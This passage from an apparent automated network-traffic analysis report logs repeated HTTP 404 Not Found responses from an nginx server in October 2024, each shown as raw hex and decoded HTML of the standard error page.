6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
